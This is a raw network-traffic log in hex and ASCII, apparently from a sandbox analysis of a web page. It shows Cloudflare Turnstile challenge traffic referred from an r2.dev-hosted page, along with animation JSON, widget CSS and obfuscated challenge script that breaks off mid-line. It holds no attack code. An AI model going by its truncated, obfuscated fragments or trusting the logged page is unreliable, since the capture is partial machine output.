,168.821,0],"ix":2},"a":{"a":0,"k":[173,-56,0],"ix":1},"s":{"a":0,"k":[100,100,100],"ix":6}},"ao":0,"shapes":[{"ty":"gr","it":[{"ind":0,"ty":"sh","ix":1,"ks":{"a":0,"k":{"i":[[0,9.796],[40.633,0],[11.658,-25.244],[30.487,-1.681],[53.407,2.859],[50.35,54.3
2025-03-27 15:59:56 UTC	1369	IN	Data Raw: 22 62 6d 22 3a 30 2c 22 69 78 22 3a 31 2c 22 6d 6e 22 3a 22 41 44 42 45 20 56 65 63 74 6f 72 20 47 72 6f 75 70 22 2c 22 68 64 22 3a 66 61 6c 73 65 7d 5d 2c 22 69 70 22 3a 30 2c 22 6f 70 22 3a 31 34 34 2c 22 73 74 22 3a 30 2c 22 62 6d 22 3a 30 7d 2c 7b 22 64 64 64 22 3a 30 2c 22 69 6e 64 22 3a 35 2c 22 74 79 22 3a 34 2c 22 6e 6d 22 3a 22 74 61 62 6c 65 74 22 2c 22 70 61 72 65 6e 74 22 3a 33 2c 22 73 72 22 3a 31 2c 22 6b 73 22 3a 7b 22 6f 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 31 30 30 2c 22 69 78 22 3a 31 31 7d 2c 22 72 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 30 2c 22 69 78 22 3a 31 30 7d 2c 22 70 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 5b 34 32 37 2e 39 31 31 2c 31 33 34 38 2e 32 36 39 2c 30 5d 2c 22 69 78 22 3a 32 7d 2c 22 61 22 3a 7b 22 61 22 3a 30 2c 22 Data Ascii: "bm":0,"ix":1,"mn":"ADBE Vector Group","hd":false}],"ip":0,"op":144,"st":0,"bm":0},{"ddd":0,"ind":5,"ty":4,"nm":"tablet","parent":3,"sr":1,"ks":{"o":{"a":0,"k":100,"ix":11},"r":{"a":0,"k":0,"ix":10},"p":{"a":0,"k":[427.911,1348.269,0],"ix":2},"a":{"a":0,"
2025-03-27 15:59:56 UTC	1369	IN	Data Raw: 70 22 3a 32 2c 22 63 69 78 22 3a 32 2c 22 62 6d 22 3a 30 2c 22 69 78 22 3a 31 2c 22 6d 6e 22 3a 22 41 44 42 45 20 56 65 63 74 6f 72 20 47 72 6f 75 70 22 2c 22 68 64 22 3a 66 61 6c 73 65 7d 2c 7b 22 74 79 22 3a 22 67 72 22 2c 22 69 74 22 3a 5b 7b 22 69 6e 64 22 3a 30 2c 22 74 79 22 3a 22 73 68 22 2c 22 69 78 22 3a 31 2c 22 6b 73 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 7b 22 69 22 3a 5b 5b 2d 34 2e 32 33 33 2c 2d 31 31 2e 34 34 37 5d 2c 5b 30 2c 30 5d 2c 5b 2d 34 2e 33 35 35 2c 2d 31 2e 33 38 33 5d 2c 5b 30 2c 30 5d 2c 5b 32 2e 39 37 36 2c 31 31 2e 32 39 39 5d 2c 5b 30 2c 30 5d 2c 5b 39 2e 35 34 36 2c 33 2e 30 33 32 5d 2c 5b 30 2c 30 5d 5d 2c 22 6f 22 3a 5b 5b 30 2c 30 5d 2c 5b 31 2e 35 38 36 2c 34 2e 32 38 36 5d 2c 5b 30 2c 30 5d 2c 5b 31 31 2e 31 33 37 2c Data Ascii: p":2,"cix":2,"bm":0,"ix":1,"mn":"ADBE Vector Group","hd":false},{"ty":"gr","it":[{"ind":0,"ty":"sh","ix":1,"ks":{"a":0,"k":{"i":[[-4.233,-11.447],[0,0],[-4.355,-1.383],[0,0],[2.976,11.299],[0,0],[9.546,3.032],[0,0]],"o":[[0,0],[1.586,4.286],[0,0],[11.137,
2025-03-27 15:59:56 UTC	1369	IN	Data Raw: 31 35 5d 7d 2c 7b 22 69 22 3a 7b 22 78 22 3a 5b 30 2e 36 34 39 5d 2c 22 79 22 3a 5b 2d 30 2e 36 39 36 5d 7d 2c 22 6f 22 3a 7b 22 78 22 3a 5b 30 2e 33 31 31 5d 2c 22 79 22 3a 5b 30 5d 7d 2c 22 74 22 3a 31 31 2e 37 37 31 2c 22 73 22 3a 5b 30 5d 7d 2c 7b 22 69 22 3a 7b 22 78 22 3a 5b 30 2e 36 36 37 5d 2c 22 79 22 3a 5b 31 5d 7d 2c 22 6f 22 3a 7b 22 78 22 3a 5b 30 2e 33 32 36 5d 2c 22 79 22 3a 5b 2d 31 2e 35 37 38 5d 7d 2c 22 74 22 3a 32 31 2e 33 38 36 2c 22 73 22 3a 5b 34 2e 32 31 38 5d 7d 2c 7b 22 69 22 3a 7b 22 78 22 3a 5b 30 2e 36 36 37 5d 2c 22 79 22 3a 5b 31 5d 7d 2c 22 6f 22 3a 7b 22 78 22 3a 5b 30 2e 31 36 37 5d 2c 22 79 22 3a 5b 30 5d 7d 2c 22 74 22 3a 33 31 2c 22 73 22 3a 5b 30 5d 7d 2c 7b 22 69 22 3a 7b 22 78 22 3a 5b 30 2e 38 33 33 5d 2c 22 79 22 Data Ascii: 15]},{"i":{"x":[0.649],"y":[-0.696]},"o":{"x":[0.311],"y":[0]},"t":11.771,"s":[0]},{"i":{"x":[0.667],"y":[1]},"o":{"x":[0.326],"y":[-1.578]},"t":21.386,"s":[4.218]},{"i":{"x":[0.667],"y":[1]},"o":{"x":[0.167],"y":[0]},"t":31,"s":[0]},{"i":{"x":[0.833],"y"

Timestamp	Bytes transferred	Direction	Data
2025-03-27 15:59:56 UTC	869	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/zz6pz/0x4AAAAAABCuJE5Ktf6oSQ3-/light/fbE/new/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Sec-Fetch-Storage-Access: active Referer: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 15:59:56 UTC	1297	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 15:59:56 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 28190 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: default-src 'none'; script-src 'nonce-z3l6oUAbA4jvl6Z2' 'unsafe-eval'; script-src-attr 'none'; worker-src blob:; style-src 'unsafe-inline'; img-src 'self'; connect-src 'self'; frame-src 'self' blob:; child-src 'self' blob:; form-action 'none'; base-uri 'self'; sandbox allow-same-origin allow-scripts allow-popups allow-forms cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA
2025-03-27 15:59:56 UTC	411	IN	Data Raw: 63 72 69 74 69 63 61 6c 2d 63 68 3a 20 53 65 63 2d 43 48 2d 55 41 2d 42 69 74 6e 65 73 73 2c 20 53 65 63 2d 43 48 2d 55 41 2d 41 72 63 68 2c 20 53 65 63 2d 43 48 2d 55 41 2d 4d 6f 62 69 6c 65 2c 20 53 65 63 2d 43 48 2d 55 41 2d 4d 6f 64 65 6c 2c 20 53 65 63 2d 43 48 2d 55 41 2d 50 6c 61 74 66 6f 72 6d 2d 56 65 72 73 69 6f 6e 2c 20 53 65 63 2d 43 48 2d 55 41 2d 46 75 6c 6c 2d 56 65 72 73 69 6f 6e 2d 4c 69 73 74 2c 20 53 65 63 2d 43 48 2d 55 41 2d 50 6c 61 74 66 6f 72 6d 2c 20 53 65 63 2d 43 48 2d 55 41 2c 20 55 41 2d 42 69 74 6e 65 73 73 2c 20 55 41 2d 41 72 63 68 2c 20 55 41 2d 46 75 6c 6c 2d 56 65 72 73 69 6f 6e 2c 20 55 41 2d 4d 6f 62 69 6c 65 2c 20 55 41 2d 4d 6f 64 65 6c 2c 20 55 41 2d 50 6c 61 74 66 6f 72 6d 2d 56 65 72 73 69 6f 6e 2c 20 55 41 2d 50 Data Ascii: critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-P
2025-03-27 15:59:56 UTC	1030	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 66 61 75 6c 74 2d 73 72 63 20 26 23 78 32 37 3b 6e 6f 6e 65 26 23 78 32 37 3b 3b 20 73 63 72 69 70 74 2d 73 72 63 20 26 23 78 32 37 3b 6e 6f 6e 63 65 2d 7a 33 6c 36 6f 55 41 62 41 34 6a 76 6c 36 5a 32 26 23 78 32 37 3b 20 26 23 78 32 37 3b 75 6e 73 61 66 65 2d Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="x-ua-compatible" content="IE=Edge,chrome=1"> <meta http-equiv="content-security-policy" content="default-src 'none'; script-src 'nonce-z3l6oUAbA4jvl6Z2' 'unsafe-
2025-03-27 15:59:56 UTC	1369	IN	Data Raw: 6d 65 73 20 66 69 6c 6c 66 61 69 6c 7b 74 6f 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 33 30 70 78 20 30 20 30 20 23 64 65 31 33 30 33 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 69 6c 6c 66 61 69 6c 2d 6f 66 66 6c 61 62 65 6c 7b 74 6f 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 33 30 70 78 20 23 32 33 32 33 32 33 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 69 6c 6c 66 61 69 6c 2d 6f 66 66 6c 61 62 65 6c 2d 64 61 72 6b 7b 74 6f 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 33 30 70 78 20 23 66 66 66 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 73 63 61 6c 65 2d 75 70 2d 63 65 6e 74 65 72 7b 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 2e 30 31 29 7d 74 6f 7b 74 72 61 6e 73 66 6f 72 Data Ascii: mes fillfail{to{box-shadow:inset 0 30px 0 0 #de1303}}@keyframes fillfail-offlabel{to{box-shadow:inset 0 0 0 30px #232323}}@keyframes fillfail-offlabel-dark{to{box-shadow:inset 0 0 0 30px #fff}}@keyframes scale-up-center{0%{transform:scale(.01)}to{transfor
2025-03-27 15:59:56 UTC	1369	IN	Data Raw: 61 6c 69 67 6e 3a 72 69 67 68 74 7d 23 6f 76 65 72 72 75 6e 2d 69 2c 23 73 70 69 6e 6e 65 72 2d 69 7b 61 6e 69 6d 61 74 69 6f 6e 3a 73 70 69 6e 20 35 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 68 65 69 67 68 74 3a 33 30 70 78 3b 77 69 64 74 68 3a 33 30 70 78 7d 23 66 61 69 6c 2d 69 7b 61 6e 69 6d 61 74 69 6f 6e 3a 73 63 61 6c 65 2d 75 70 2d 63 65 6e 74 65 72 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 35 35 2c 2e 30 38 35 2c 2e 36 38 2c 2e 35 33 29 20 62 6f 74 68 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 23 64 65 31 33 30 33 7d 23 66 61 69 6c 2d 69 2c 23 73 75 63 63 65 73 73 2d 69 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 30 25 3b 64 69 73 70 6c 61 79 3a 66 Data Ascii: align:right}#overrun-i,#spinner-i{animation:spin 5s linear infinite;display:flex;height:30px;width:30px}#fail-i{animation:scale-up-center .6s cubic-bezier(.55,.085,.68,.53) both;box-shadow:inset 0 0 0 #de1303}#fail-i,#success-i{border-radius:50%;display:f
2025-03-27 15:59:56 UTC	1369	IN	Data Raw: 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 23 30 61 61 39 33 37 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 3a 23 30 61 61 39 33 37 3b 66 69 6c 6c 3a 23 30 61 61 39 33 37 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 78 70 69 72 65 64 2d 63 69 72 63 6c 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 74 69 6d 65 6f 75 74 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 39 39 39 3b 66 69 6c 6c 3a 23 39 39 39 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 65 78 70 Data Ascii: hadow:inset 0 0 0 #0aa937}.theme-dark .success-circle{stroke:#0aa937;fill:#0aa937}.theme-dark .expired-circle,.theme-dark .timeout-circle{stroke-dasharray:166;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#999;fill:#999}.theme-dark #exp
2025-03-27 15:59:56 UTC	1369	IN	Data Raw: 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 68 31 7b 63 6f 6c 6f 72 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 7b 63 6f 6c 6f 72 3a 23 66 66 61 32 39 39 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 61 63 74 69 76 65 2c Data Ascii: }.theme-dark h1{color:#fff}.theme-dark #challenge-error-title{color:#ffa299}.theme-dark #challenge-error-title a,.theme-dark #challenge-error-title a:link,.theme-dark #challenge-error-title a:visited{color:#bbb}.theme-dark #challenge-error-title a:active,
2025-03-27 15:59:56 UTC	1369	IN	Data Raw: 65 73 68 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 39 34 39 34 39 34 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6f 76 65 72 6c 61 79 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 66 66 61 32 39 39 3b 63 6f 6c 6f 72 3a 23 66 66 61 32 39 39 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 3a 6c 69 6e 6b Data Ascii: esh-link:active,.theme-dark #timeout-refresh-link:focus,.theme-dark #timeout-refresh-link:hover{color:#949494}.theme-dark .overlay{border-color:#ffa299;color:#ffa299}.theme-dark .error-message,.theme-dark .error-message a,.theme-dark .error-message a:link
2025-03-27 15:59:56 UTC	1369	IN	Data Raw: 3a 63 68 65 63 6b 65 64 7e 2e 63 62 2d 69 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 70 78 3b 6f 70 61 63 69 74 79 3a 31 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 20 73 63 61 6c 65 28 31 29 7d 2e 63 62 2d 6c 62 20 69 6e 70 75 74 3a 63 68 65 63 6b 65 64 7e 2e 63 62 2d 69 3a 61 66 74 65 72 7b 62 6f 72 64 65 72 3a 73 6f 6c 69 64 20 23 63 34 34 64 30 65 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 30 20 34 70 78 20 34 70 78 20 30 3b 68 65 69 67 68 74 3a 31 32 70 78 3b 6c 65 66 74 3a 35 70 78 3b 74 6f 70 3a 30 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 34 35 64 65 67 29 20 73 63 61 6c 65 28 31 29 3b 77 69 64 Data Ascii: :checked~.cb-i{background-color:#fff;border-radius:5px;opacity:1;transform:rotate(0deg) scale(1)}.cb-lb input:checked~.cb-i:after{border:solid #c44d0e;border-radius:0;border-width:0 4px 4px 0;height:12px;left:5px;top:0;transform:rotate(45deg) scale(1);wid
2025-03-27 15:59:56 UTC	1369	IN	Data Raw: 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 20 73 70 61 63 65 2d 65 76 65 6e 6c 79 3b 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 65 78 70 69 72 65 64 2d 74 65 78 74 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 6f 76 65 72 72 75 6e 2d 74 65 78 74 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 74 69 6d 65 6f 75 74 2d 74 65 78 74 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 65 78 70 69 72 65 64 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 7b 6d 61 72 67 69 6e 3a 30 Data Ascii: ontent:center space-evenly;visibility:visible}.size-compact #expired-text,.size-compact #overrun-text,.size-compact #timeout-text{display:block}.size-compact #expired-refresh-link,.size-compact #timeout-refresh-link,.size-compact .error-message a{margin:0
2025-03-27 15:59:56 UTC	1369	IN	Data Raw: 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 36 70 78 7d 23 74 65 72 6d 73 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 38 70 78 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 2d 65 6e 64 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 30 70 78 7d 23 74 65 72 6d 73 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 3a 30 20 2e 32 72 65 6d 7d 23 74 65 72 6d 73 20 61 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 23 74 65 72 6d 73 20 61 2c 23 74 65 72 6d 73 20 61 3a 6c 69 6e 6b 2c 23 74 65 72 6d 73 20 61 3a 76 69 73 69 74 65 64 7b 63 6f Data Ascii: {margin-left:0;margin-right:16px}#terms{color:#232323;display:inline-flex;font-size:8px;font-style:normal;justify-content:flex-end;line-height:10px}#terms .link-spacer{margin:0 .2rem}#terms a{display:inline-block}#terms a,#terms a:link,#terms a:visited{co

Timestamp	Bytes transferred	Direction	Data
2025-03-27 15:59:56 UTC	773	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=92701908ae6742b3&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/zz6pz/0x4AAAAAABCuJE5Ktf6oSQ3-/light/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 15:59:56 UTC	331	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 15:59:56 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 117538 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 9270190ba8ee43a0-EWR alt-svc: h3=":443"; ma=86400
2025-03-27 15:59:56 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 43 75 55 53 37 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 Data Ascii: window._cf_chl_opt.CuUS7={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23brow
2025-03-27 15:59:56 UTC	1369	IN	Data Raw: 25 32 30 74 61 72 67 65 74 25 33 44 25 32 32 5f 62 6c 61 6e 6b 25 32 32 25 32 30 72 65 6c 25 33 44 25 32 32 6e 6f 6f 70 65 6e 65 72 25 32 30 6e 6f 72 65 66 65 72 72 65 72 25 32 32 25 32 30 68 72 65 66 25 33 44 25 32 32 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 25 32 32 25 33 45 43 6c 69 63 6b 25 32 30 68 65 72 65 25 32 30 66 6f 72 25 32 30 6d 6f 72 65 25 32 30 69 6e 66 6f 72 6d 61 74 69 6f 6e 25 33 43 25 32 46 61 25 33 45 22 2c 22 Data Ascii: %20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%20href%3D%22https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support%22%3EClick%20here%20for%20more%20information%3C%2Fa%3E","
2025-03-27 15:59:56 UTC	1369	IN	Data Raw: 74 72 61 74 6f 72 25 32 30 69 66 25 32 30 74 68 69 73 25 32 30 70 72 6f 62 6c 65 6d 25 32 30 70 65 72 73 69 73 74 73 2e 22 7d 2c 22 70 6f 6c 79 66 69 6c 6c 73 22 3a 7b 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 67 75 69 64 65 6c 69 6e 65 22 3a 66 61 6c 73 65 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 6f 75 74 70 75 74 5f 73 75 62 74 69 74 6c 65 22 3a 66 61 6c 73 65 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 61 75 78 5f 73 75 62 74 69 74 6c 65 22 3a 66 61 6c 73 65 7d 2c 22 72 74 6c 22 3a 66 61 6c 73 65 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 75 73 22 7d 3b 7e 66 75 6e 63 74 69 6f 6e 28 67 4a 2c 65 4d 2c 65 4e 2c 65 51 2c 65 54 2c 65 56 2c 65 57 2c 65 58 2c 66 39 2c 66 6c 2c 66 72 2c 66 73 2c 66 74 2c 66 44 2c 66 4f 2c 66 53 2c 66 Data Ascii: trator%20if%20this%20problem%20persists."},"polyfills":{"feedback_report_guideline":false,"feedback_report_output_subtitle":false,"feedback_report_aux_subtitle":false},"rtl":false,"lang":"en-us"};~function(gJ,eM,eN,eQ,eT,eV,eW,eX,f9,fl,fr,fs,ft,fD,fO,fS,f
2025-03-27 15:59:56 UTC	1369	IN	Data Raw: 29 7b 6b 3d 28 67 4e 3d 67 4a 2c 6a 3d 7b 7d 2c 6a 5b 67 4e 28 31 36 38 33 29 5d 3d 67 4e 28 31 35 36 38 29 2c 6a 5b 67 4e 28 33 38 31 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 43 2c 44 29 7b 72 65 74 75 72 6e 20 44 3d 3d 3d 43 7d 2c 6a 5b 67 4e 28 36 32 35 29 5d 3d 67 4e 28 37 34 38 29 2c 6a 5b 67 4e 28 33 39 30 29 5d 3d 67 4e 28 35 36 36 29 2c 6a 5b 67 4e 28 31 34 32 34 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 43 2c 44 29 7b 72 65 74 75 72 6e 20 43 7c 7c 44 7d 2c 6a 5b 67 4e 28 34 38 35 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 43 2c 44 29 7b 72 65 74 75 72 6e 20 43 2b 44 7d 2c 6a 5b 67 4e 28 35 39 36 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 43 